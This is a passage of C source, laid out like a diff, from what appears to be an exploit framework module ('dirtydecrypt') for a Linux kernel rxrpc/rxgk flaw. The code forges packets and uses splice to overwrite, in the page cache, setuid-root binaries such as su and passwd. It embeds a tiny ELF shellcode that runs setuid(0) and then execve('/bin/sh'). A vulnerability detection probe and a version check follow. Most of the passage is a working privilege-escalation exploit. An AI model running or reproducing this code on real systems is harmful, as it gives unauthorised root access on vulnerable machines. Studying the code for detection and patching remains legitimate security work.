|
"/usr/bin/su", "/bin/su", "/usr/bin/mount",
|
||||||
|
"/usr/bin/passwd", "/usr/bin/chsh", NULL
|
||||||
|
};
|
||||||
|
|
||||||
|
/* --- helpers (faithful to the V12 PoC) --- */
|
||||||
|
|
||||||
|
static long key_add(const char *type, const char *desc,
|
||||||
|
const void *payload, size_t plen, int ringid)
|
||||||
|
{
|
||||||
|
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int write_proc(const char *path, const char *buf)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_WRONLY);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
int n = write(fd, buf, strlen(buf));
|
||||||
|
close(fd);
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void setup_ns(void)
|
||||||
|
{
|
||||||
|
uid_t uid = getuid();
|
||||||
|
gid_t gid = getgid();
|
||||||
|
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
|
if (unshare(CLONE_NEWNET) < 0) {
|
||||||
|
perror("unshare");
|
||||||
|
_exit(4);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
write_proc("/proc/self/setgroups", "deny");
|
||||||
|
char map[64];
|
||||||
|
snprintf(map, sizeof(map), "0 %u 1", uid);
|
||||||
|
write_proc("/proc/self/uid_map", map);
|
||||||
|
snprintf(map, sizeof(map), "0 %u 1", gid);
|
||||||
|
write_proc("/proc/self/gid_map", map);
|
||||||
|
}
|
||||||
|
|
||||||
|
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (s >= 0) {
|
||||||
|
struct ifreq ifr = {0};
|
||||||
|
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
|
||||||
|
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
|
||||||
|
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
|
||||||
|
ioctl(s, SIOCSIFFLAGS, &ifr);
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put32(uint8_t **pp, uint32_t val)
|
||||||
|
{
|
||||||
|
uint32_t nv = htonl(val);
|
||||||
|
memcpy(*pp, &nv, 4);
|
||||||
|
*pp += 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put64(uint8_t **pp, uint64_t val)
|
||||||
|
{
|
||||||
|
xdr_put32(pp, (uint32_t)(val >> 32));
|
||||||
|
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
|
||||||
|
{
|
||||||
|
xdr_put32(pp, (uint32_t)len);
|
||||||
|
memcpy(*pp, data, len);
|
||||||
|
*pp += len;
|
||||||
|
size_t pad = (4 - (len & 3)) & 3;
|
||||||
|
if (pad) { memset(*pp, 0, pad); *pp += pad; }
|
||||||
|
}
|
||||||
|
|
||||||
|
static int build_rxgk_token(uint8_t *out, size_t maxlen,
|
||||||
|
const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
uint8_t *p = out;
|
||||||
|
struct timespec ts;
|
||||||
|
clock_gettime(CLOCK_REALTIME, &ts);
|
||||||
|
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
|
||||||
|
(uint64_t)ts.tv_nsec / 100ULL;
|
||||||
|
|
||||||
|
xdr_put32(&p, 0); /* flags */
|
||||||
|
xdr_put_data(&p, "poc.test", 8); /* cell */
|
||||||
|
xdr_put32(&p, 1); /* ntoken */
|
||||||
|
|
||||||
|
uint8_t tok[512];
|
||||||
|
uint8_t *tp = tok;
|
||||||
|
xdr_put32(&tp, RXGK_SECURITY_INDEX);
|
||||||
|
xdr_put64(&tp, now); /* begintime */
|
||||||
|
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
|
||||||
|
xdr_put64(&tp, 2); /* level = ENCRYPT */
|
||||||
|
xdr_put64(&tp, 864000000000ULL); /* lifetime */
|
||||||
|
xdr_put64(&tp, 0); /* bytelife */
|
||||||
|
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
|
||||||
|
xdr_put_data(&tp, base_key, keylen); /* key */
|
||||||
|
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
|
||||||
|
xdr_put_data(&tp, ticket, sizeof(ticket));
|
||||||
|
|
||||||
|
size_t toklen = (size_t)(tp - tok);
|
||||||
|
xdr_put32(&p, (uint32_t)toklen);
|
||||||
|
memcpy(p, tok, toklen);
|
||||||
|
p += toklen;
|
||||||
|
|
||||||
|
if ((size_t)(p - out) > maxlen) return -1;
|
||||||
|
return (int)(p - out);
|
||||||
|
}
|
||||||
|
|
||||||
|
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
uint8_t buf[1024];
|
||||||
|
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
|
||||||
|
if (n < 0) return -1;
|
||||||
|
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
|
||||||
|
{
|
||||||
|
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
|
||||||
|
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
|
||||||
|
keyname, strlen(keyname)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
int min_level = RXRPC_SECURITY_ENCRYPT;
|
||||||
|
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
|
||||||
|
&min_level, sizeof(min_level)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_rxrpc srx = {0};
|
||||||
|
srx.srx_family = AF_RXRPC;
|
||||||
|
srx.srx_service = 0;
|
||||||
|
srx.transport_type = SOCK_DGRAM;
|
||||||
|
srx.transport_len = sizeof(struct sockaddr_in);
|
||||||
|
srx.transport.sin.sin_family = AF_INET;
|
||||||
|
srx.transport.sin.sin_port = htons(local_port);
|
||||||
|
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||||
|
|
||||||
|
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
|
||||||
|
{
|
||||||
|
char data[] = "TESTDATA";
|
||||||
|
struct sockaddr_rxrpc srx = {0};
|
||||||
|
srx.srx_family = AF_RXRPC;
|
||||||
|
srx.srx_service = service_id;
|
||||||
|
srx.transport_type = SOCK_DGRAM;
|
||||||
|
srx.transport_len = sizeof(struct sockaddr_in);
|
||||||
|
srx.transport.sin.sin_family = AF_INET;
|
||||||
|
srx.transport.sin.sin_port = htons(srv_port);
|
||||||
|
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||||
|
|
||||||
|
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
|
||||||
|
struct msghdr msg = {0};
|
||||||
|
msg.msg_name = &srx;
|
||||||
|
msg.msg_namelen = sizeof(srx);
|
||||||
|
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
|
||||||
|
msg.msg_iov = &iov;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
msg.msg_control = cmsg_buf;
|
||||||
|
msg.msg_controllen = sizeof(cmsg_buf);
|
||||||
|
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
cmsg->cmsg_level = SOL_RXRPC;
|
||||||
|
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
|
||||||
|
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
|
||||||
|
|
||||||
|
int fl = fcntl(cli_fd, F_GETFL);
|
||||||
|
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
|
||||||
|
ssize_t n = sendmsg(cli_fd, &msg, 0);
|
||||||
|
fcntl(cli_fd, F_SETFL, fl);
|
||||||
|
|
||||||
|
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
|
||||||
|
return -1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int setup_udp_server(uint16_t port)
|
||||||
|
{
|
||||||
|
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (s < 0) return -1;
|
||||||
|
struct sockaddr_in sa = {
|
||||||
|
.sin_family = AF_INET,
|
||||||
|
.sin_port = htons(port),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001),
|
||||||
|
};
|
||||||
|
int one = 1;
|
||||||
|
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
||||||
|
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
|
||||||
|
close(s); return -1;
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
static ssize_t udp_recv(int s, void *buf, size_t cap,
|
||||||
|
struct sockaddr_in *from, int timeout_ms)
|
||||||
|
{
|
||||||
|
struct pollfd pfd = { .fd = s, .events = POLLIN };
|
||||||
|
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
|
||||||
|
socklen_t fl = from ? sizeof(*from) : 0;
|
||||||
|
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int dd_trigger_seq = 0;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fire one splice-based page-cache corruption at the given file offset.
|
||||||
|
* Returns 1 on fire, -1 on setup error.
|
||||||
|
*/
|
||||||
|
static int fire(int target_fd, off_t splice_off, size_t splice_len,
|
||||||
|
const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
char keyname[32];
|
||||||
|
snprintf(keyname, sizeof(keyname), "rxgk%d", dd_trigger_seq++);
|
||||||
|
|
||||||
|
long key = add_rxgk_key(keyname, base_key, keylen);
|
||||||
|
if (key < 0) return -1;
|
||||||
|
|
||||||
|
uint16_t port_S = 10000 + (rand() % 27000) * 2;
|
||||||
|
uint16_t port_C = port_S + 1;
|
||||||
|
int ret = -1;
|
||||||
|
|
||||||
|
int udp_srv = setup_udp_server(port_S);
|
||||||
|
if (udp_srv < 0) goto out_key;
|
||||||
|
|
||||||
|
int cli = setup_rxrpc_client(port_C, keyname);
|
||||||
|
if (cli < 0) goto out_udp;
|
||||||
|
|
||||||
|
if (initiate_call(cli, port_S, 1234) < 0)
|
||||||
|
goto out_cli;
|
||||||
|
|
||||||
|
uint8_t pkt[2048];
|
||||||
|
struct sockaddr_in cli_addr;
|
||||||
|
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
|
||||||
|
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
|
||||||
|
|
||||||
|
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
|
||||||
|
uint32_t epoch = ntohl(hdr->epoch);
|
||||||
|
uint32_t cid = ntohl(hdr->cid);
|
||||||
|
uint32_t callN = ntohl(hdr->callNumber);
|
||||||
|
uint16_t svc = ntohs(hdr->serviceId);
|
||||||
|
uint16_t cport = ntohs(cli_addr.sin_port);
|
||||||
|
|
||||||
|
/* send challenge */
|
||||||
|
{
|
||||||
|
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
|
||||||
|
memset(ch, 0, sizeof(ch));
|
||||||
|
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
|
||||||
|
c->epoch = htonl(epoch);
|
||||||
|
c->cid = htonl(cid);
|
||||||
|
c->serial = htonl(0x10000);
|
||||||
|
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
|
||||||
|
c->securityIndex = RXGK_SECURITY_INDEX;
|
||||||
|
c->serviceId = htons(svc);
|
||||||
|
for (int i = 0; i < 20; i++)
|
||||||
|
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
|
||||||
|
struct sockaddr_in to = { .sin_family = AF_INET,
|
||||||
|
.sin_port = htons(cport),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||||
|
sendto(udp_srv, ch, sizeof(ch), 0,
|
||||||
|
(struct sockaddr *)&to, sizeof(to));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* drain response(s) */
|
||||||
|
for (int i = 0; i < 3; i++) {
|
||||||
|
struct sockaddr_in src;
|
||||||
|
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* forge DATA packet: wire header from userspace, payload from page cache */
|
||||||
|
struct rxrpc_wire_header mal = {0};
|
||||||
|
mal.epoch = htonl(epoch);
|
||||||
|
mal.cid = htonl(cid);
|
||||||
|
mal.callNumber = htonl(callN);
|
||||||
|
mal.seq = htonl(1);
|
||||||
|
mal.serial = htonl(0x42000);
|
||||||
|
mal.type = RXRPC_PACKET_TYPE_DATA;
|
||||||
|
mal.flags = RXRPC_LAST_PACKET;
|
||||||
|
mal.securityIndex = RXGK_SECURITY_INDEX;
|
||||||
|
mal.serviceId = htons(svc);
|
||||||
|
|
||||||
|
struct sockaddr_in dst = { .sin_family = AF_INET,
|
||||||
|
.sin_port = htons(cport),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||||
|
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
|
||||||
|
goto out_cli;
|
||||||
|
|
||||||
|
int p[2];
|
||||||
|
if (pipe(p) < 0) goto out_cli;
|
||||||
|
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
|
||||||
|
if (vmsplice(p[1], &viv, 1, 0) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
loff_t off = splice_off;
|
||||||
|
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
close(p[0]); close(p[1]);
|
||||||
|
|
||||||
|
usleep(1000);
|
||||||
|
|
||||||
|
/* drain the error from the client socket (HMAC check fails as expected) */
|
||||||
|
int fl = fcntl(cli, F_GETFL);
|
||||||
|
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
|
||||||
|
struct msghdr m = {0};
|
||||||
|
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
|
||||||
|
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
|
||||||
|
m.msg_iov = &iv; m.msg_iovlen = 1;
|
||||||
|
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
|
||||||
|
recvmsg(cli, &m, 0);
|
||||||
|
}
|
||||||
|
ret = 1;
|
||||||
|
|
||||||
|
out_cli:
|
||||||
|
close(cli);
|
||||||
|
out_udp:
|
||||||
|
close(udp_srv);
|
||||||
|
out_key:
|
||||||
|
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- sliding-window write with progress display --- */
|
||||||
|
|
||||||
|
static void dd_progress(int done, int total, int fires)
|
||||||
|
{
|
||||||
|
if (!dd_verbose) return;
|
||||||
|
int width = 40;
|
||||||
|
int filled = total ? (done * width / total) : 0;
|
||||||
|
int pct = total ? (done * 100 / total) : 0;
|
||||||
|
fprintf(stderr, "\r [");
|
||||||
|
for (int j = 0; j < width; j++)
|
||||||
|
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
|
||||||
|
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
|
||||||
|
if (done == total) fputc('\n', stderr);
|
||||||
|
fflush(stderr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int pagecache_write(int rfd, void *map, off_t base,
|
||||||
|
const uint8_t *target, int len, off_t file_size,
|
||||||
|
const char *label)
|
||||||
|
{
|
||||||
|
uint8_t key[16];
|
||||||
|
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
|
||||||
|
int total = 0;
|
||||||
|
|
||||||
|
int max_off = (int)(file_size - 28);
|
||||||
|
if (base + len - 1 > max_off)
|
||||||
|
len = max_off - (int)base + 1;
|
||||||
|
|
||||||
|
/* Find first byte that differs. We must write everything from there
|
||||||
|
* onward — each round's 15-byte damage zone corrupts the next bytes. */
|
||||||
|
int start = 0;
|
||||||
|
for (int i = 0; i < len; i++) {
|
||||||
|
uint8_t cur;
|
||||||
|
pread(rfd, &cur, 1, base + i);
|
||||||
|
if (cur != target[i]) { start = i; break; }
|
||||||
|
if (i == len - 1) {
|
||||||
|
LOG("page cache already matches, skipping write");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
int need = len - start;
|
||||||
|
|
||||||
|
LOG("writing payload to %s (%d bytes from offset %d)",
|
||||||
|
label, need, (int)base + start);
|
||||||
|
dd_progress(0, need, 0);
|
||||||
|
|
||||||
|
for (int i = start; i < len; i++) {
|
||||||
|
off_t off = base + i;
|
||||||
|
uint8_t want = target[i];
|
||||||
|
uint8_t cur;
|
||||||
|
pread(rfd, &cur, 1, off);
|
||||||
|
|
||||||
|
if (cur == want && i > start)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
int ok = 0;
|
||||||
|
for (int att = 0; att < 10000; att++) {
|
||||||
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||||
|
uint64_t r = seed;
|
||||||
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
||||||
|
memcpy(key, &r, 8);
|
||||||
|
memcpy(key + 8, &seed, 8);
|
||||||
|
|
||||||
|
size_t slen = 28;
|
||||||
|
if (off + (off_t)slen > file_size) slen = file_size - off;
|
||||||
|
if (slen < 16) slen = 16;
|
||||||
|
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
|
||||||
|
total++;
|
||||||
|
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
|
||||||
|
ok = 1;
|
||||||
|
dd_progress(i - start + 1, need, total);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!ok) {
|
||||||
|
if (dd_verbose) fprintf(stderr, "\n");
|
||||||
|
ERR("byte %d/%d failed", i - start + 1, need);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("%d fires total", total);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
|
||||||
|
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
|
||||||
|
* Reproduced verbatim from the V12 PoC. */
|
||||||
|
static const uint8_t tiny_elf[] = {
|
||||||
|
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
|
||||||
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
||||||
|
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
|
||||||
|
0xb0,0x69,0x0f,0x05, /* setuid(0) */
|
||||||
|
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, "/bin/sh" */
|
||||||
|
0x6a,0x3b,0x58, /* push 59; pop rax */
|
||||||
|
0x0f,0x05, /* execve("/bin/sh", 0, 0) */
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Pick the first readable setuid-root binary from the candidate list. */
|
||||||
|
static const char *dd_pick_target(void)
|
||||||
|
{
|
||||||
|
for (int i = 0; dd_targets[i]; i++) {
|
||||||
|
struct stat sb;
|
||||||
|
if (stat(dd_targets[i], &sb) == 0 &&
|
||||||
|
(sb.st_mode & S_ISUID) && sb.st_uid == 0 &&
|
||||||
|
access(dd_targets[i], R_OK) == 0)
|
||||||
|
return dd_targets[i];
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Best-effort page-cache eviction for one path. */
|
||||||
|
static void dd_evict(const char *path)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_RDONLY);
|
||||||
|
if (fd >= 0) {
|
||||||
|
#ifdef POSIX_FADV_DONTNEED
|
||||||
|
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||||
|
#endif
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||||
|
if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detect ------------------------------------------------------- */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Active sentinel probe: fire the rxgk primitive against a disposable
|
||||||
|
* /tmp file and check whether the page cache was corrupted. Never
|
||||||
|
* touches a setuid binary. Returns 1 vulnerable, 0 not, -1 probe error.
|
||||||
|
*/
|
||||||
|
static int dd_active_probe(void)
|
||||||
|
{
|
||||||
|
char probe[] = "/tmp/skeletonkey-dirtydecrypt-probe-XXXXXX";
|
||||||
|
int fd = mkstemp(probe);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
uint8_t seed_buf[256];
|
||||||
|
for (int i = 0; i < (int)sizeof(seed_buf); i++) seed_buf[i] = 0xA5;
|
||||||
|
if (write(fd, seed_buf, sizeof seed_buf) != (ssize_t)sizeof seed_buf) {
|
||||||
|
close(fd); unlink(probe); return -1;
|
||||||
|
}
|
||||||
|
fsync(fd);
|
||||||
|
close(fd);
|
||||||
|
|
||||||
|
int rfd = open(probe, O_RDONLY);
|
||||||
|
if (rfd < 0) { unlink(probe); return -1; }
|
||||||
|
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
||||||
|
if (map == MAP_FAILED) { close(rfd); unlink(probe); return -1; }
|
||||||
|
|
||||||
|
int result = -1;
|
||||||
|
pid_t pid = fork();
|
||||||
|
if (pid == 0) {
|
||||||
|
setup_ns();
|
||||||
|
usleep(10000);
|
||||||
|
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (s < 0) _exit(2); /* AF_RXRPC unavailable */
|
||||||
|
close(s);
|
||||||
|
uint8_t key[16];
|
||||||
|
for (int att = 0; att < 64; att++) {
|
||||||
|
for (int k = 0; k < 16; k++) key[k] = rand() & 0xff;
|
||||||
|
if (fire(rfd, 16, 28, key, AES_KEY_LEN) != 1)
|
||||||
|
continue;
|
||||||
|
/* corruption hits a 16-byte block at the offset */
|
||||||
|
for (int b = 16; b < 32; b++)
|
||||||
|
if (((const uint8_t *)map)[b] != 0xA5)
|
||||||
|
_exit(0); /* vulnerable */
|
||||||
|
}
|
||||||
|
_exit(1); /* primitive did not land */
|
||||||
|
}
|
||||||
|
if (pid > 0) {
|
||||||
|
int st;
|
||||||
|
waitpid(pid, &st, 0);
|
||||||
|
if (WIFEXITED(st)) {
|
||||||
|
if (WEXITSTATUS(st) == 0) result = 1;
|
||||||
|
else if (WEXITSTATUS(st) == 1) result = 0;
|
||||||
|
else result = -1; /* AF_RXRPC unavailable / error */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
munmap(map, 4096);
|
||||||
|
close(rfd);
|
||||||
|
unlink(probe);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* CVE-2026-31635 affects kernels with the rxgk RESPONSE-handling code
|
||||||
|
* (CONFIG_RXGK). Per Debian's tracker, the vulnerable code was
|
||||||
|
* introduced in the 7.0 development cycle — older mainline branches
|
||||||
|
* (bullseye 5.10 / bookworm 6.1 / trixie 6.12) are <not-affected,
|
||||||
|
* vulnerable code not present>. The fix is upstream commit
|
||||||
|
* a2567217ade970ecc458144b6be469bc015b23e5 ("rxrpc: fix oversized
|
||||||
|
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||||
|
*
|
||||||
|
* The detect logic therefore is:
|
||||||
|
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
||||||
|
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
||||||
|
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
||||||
|
* or weird distro rebuilds the version check missed)
|
||||||
|
*/
|
||||||
|
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||||
|
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
||||||
|
};
|
||||||
|
static const struct kernel_range dirtydecrypt_range = {
|
||||||
|
.patched_from = dirtydecrypt_patched_branches,
|
||||||
|
.n_patched_from = sizeof(dirtydecrypt_patched_branches) /
|
||||||
|
sizeof(dirtydecrypt_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
dd_verbose = !ctx->json;
|
||||||
|
|
||||||
|
/* Consult the shared host fingerprint instead of calling
|
||||||
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirtydecrypt: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
||||||
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||||
|
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
||||||
|
v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Precondition: AF_RXRPC must be reachable for the primitive. */
|
||||||
|
int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (s < 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: AF_RXRPC unavailable "
|
||||||
|
"(%s) — rxgk path not reachable here\n",
|
||||||
|
strerror(errno));
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
|
||||||
|
if (!dd_pick_target()) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirtydecrypt: no readable setuid-root "
|
||||||
|
"binary — exploit has no carrier here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool patched_by_version = kernel_range_is_patched(&dirtydecrypt_range, v);
|
||||||
|
|
||||||
|
if (ctx->active_probe) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] dirtydecrypt: running active sentinel "
|
||||||
|
"probe (safe; /tmp only)\n");
|
||||||
|
int p = dd_active_probe();
|
||||||
|
if (p == 1) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirtydecrypt: ACTIVE PROBE "
|
||||||
|
"CONFIRMED — rxgk in-place decrypt corrupts "
|
||||||
|
"the page cache (kernel %s)\n", v->release);
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
if (p == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] dirtydecrypt: active probe did "
|
||||||
|
"not land — primitive blocked (likely patched%s)\n",
|
||||||
|
patched_by_version ? "" : ", or distro silently fixed");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[?] dirtydecrypt: active probe machinery "
|
||||||
|
"failed; falling back to version verdict\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (patched_by_version) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] dirtydecrypt: kernel %s is patched "
|
||||||
|
"(commit a2567217 in Linux 7.0; version-only check — "
|
||||||
|
"use --active to confirm)\n", v->release);
|
